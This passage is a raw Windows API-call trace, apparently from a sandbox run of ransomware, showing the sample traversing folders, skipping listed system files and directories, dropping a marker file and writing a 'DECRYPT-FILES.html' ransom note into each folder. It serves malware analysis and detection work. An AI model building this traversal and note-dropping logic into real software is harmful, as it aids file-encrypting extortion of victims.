(lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0059.053] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0059.053] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.053] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-HK\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0059.053] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0059.053] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.054] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.054] CloseHandle (hObject=0x0) returned 0 [0059.054] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.054] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88de7670, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88de7670, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88de7670, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.054] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.054] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d75250, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88d75250, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d75250, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.054] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.055] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.055] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.055] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0059.055] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.055] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-HK\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0059.055] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\zh-HK\\wevkgn5.dat") returned="C:\\Boot\\zh-HK\\wevkgn5.dat" [0059.055] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.055] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\wevkgn5.dat" (normalized: "c:\\boot\\zh-hk\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.055] CloseHandle (hObject=0x0) returned 0 [0059.055] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.055] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d75250, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88d75250, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d75250, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.056] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0059.056] CloseHandle (hObject=0x300) returned 1 [0059.056] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0059.056] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0059.056] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0059.056] lstrcatW (in: lpString1="zh-TW", lpString2="\\" | out: lpString1="zh-TW\\") returned="zh-TW\\" [0059.056] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch=":\\Windows") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\Program Files") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\Games\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.056] StrStrW (lpFirst="C:\\Boot\\zh-TW\\", lpSrch="\\All Users") returned 0x0 [0059.056] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0059.056] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.056] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW\\\\wevkgn5.dat") returned 26 [0059.056] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\\\wevkgn5.dat" (normalized: "c:\\boot\\zh-tw\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0059.057] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0059.057] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.057] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW\\\\DECRYPT-FILES.html") returned 33 [0059.057] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\zh-tw\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.069] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0059.070] CloseHandle (hObject=0x304) returned 1 [0059.070] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0059.070] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0059.070] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88e0d7d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e0d7d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0059.071] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.071] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88e0d7d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e0d7d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.071] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.071] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.071] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0059.071] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0059.071] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0059.071] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.071] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-TW\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0059.071] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0059.071] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.072] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.072] CloseHandle (hObject=0x0) returned 0 [0059.072] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.072] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e0d7d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e0d7d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e0d7d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.072] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.072] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e0d7d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e0d7d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e0d7d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.072] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.072] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.072] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.072] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.072] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.073] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.073] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.073] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.073] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.073] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.073] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0059.073] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.073] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-TW\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0059.073] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\zh-TW\\wevkgn5.dat") returned="C:\\Boot\\zh-TW\\wevkgn5.dat" [0059.073] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.073] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\wevkgn5.dat" (normalized: "c:\\boot\\zh-tw\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.073] CloseHandle (hObject=0x0) returned 0 [0059.073] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.074] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e0d7d0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e0d7d0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e0d7d0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.074] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0059.074] CloseHandle (hObject=0x300) returned 1 [0059.074] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW\\", cAlternateFileName="")) returned 0 [0059.074] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0059.074] CloseHandle (hObject=0x23c) returned 1 [0059.074] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="DECRYPT-FILES.html") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="autorun.inf") returned 1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="boot.ini") returned 1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="desktop.ini") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="ntuser.dat") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="iconcache.db") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="bootsect.bak") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="ntuser.dat.log") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="thumbs.db") returned -1 [0059.074] lstrcmpiW (lpString1="bootmgr", lpString2="Bootfont.bin") returned 1 [0059.075] lstrlenW (lpString="C:\\") returned 3 [0059.075] lstrlenW (lpString="bootmgr") returned 7 [0059.075] lstrcpyW (in: lpString1=0x321f4e4, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0059.075] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0059.075] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.075] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.075] CloseHandle (hObject=0x0) returned 0 [0059.075] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.075] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0059.075] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="DECRYPT-FILES.html") returned -1 [0059.075] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="autorun.inf") returned 1 [0059.075] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot.ini") returned 1 [0059.075] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="desktop.ini") returned -1 [0059.076] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1 [0059.076] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="iconcache.db") returned -1 [0059.076] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="bootsect.bak") returned 0 [0059.076] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c34864, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0059.076] lstrcmpW (lpString1="Config.Msi", lpString2=".") returned 1 [0059.076] lstrcmpW (lpString1="Config.Msi", lpString2="..") returned 1 [0059.076] lstrcatW (in: lpString1="Config.Msi", lpString2="\\" | out: lpString1="Config.Msi\\") returned="Config.Msi\\" [0059.076] lstrcatW (in: lpString1="C:\\", lpString2="Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch=":\\Windows") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\Program Files") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\Games\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.076] StrStrW (lpFirst="C:\\Config.Msi\\", lpSrch="\\All Users") returned 0x0 [0059.076] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0059.076] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.076] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Config.Msi\\\\wevkgn5.dat") returned 26 [0059.076] CreateFileW (lpFileName="C:\\Config.Msi\\\\wevkgn5.dat" (normalized: "c:\\config.msi\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0059.077] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0059.077] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.077] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Config.Msi\\\\DECRYPT-FILES.html") returned 33 [0059.077] CreateFileW (lpFileName="C:\\Config.Msi\\\\DECRYPT-FILES.html" (normalized: "c:\\config.msi\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0059.077] WriteFile (in: hFile=0x240, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0059.078] CloseHandle (hObject=0x240) returned 1 [0059.078] lstrlenW (lpString="C:\\Config.Msi\\") returned 14 [0059.078] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*" | out: lpString1="C:\\Config.Msi\\*") returned="C:\\Config.Msi\\*" [0059.078] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0059.078] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.078] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.078] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.079] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.079] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e33930, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.079] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.079] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e33930, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88e33930, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88e33930, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 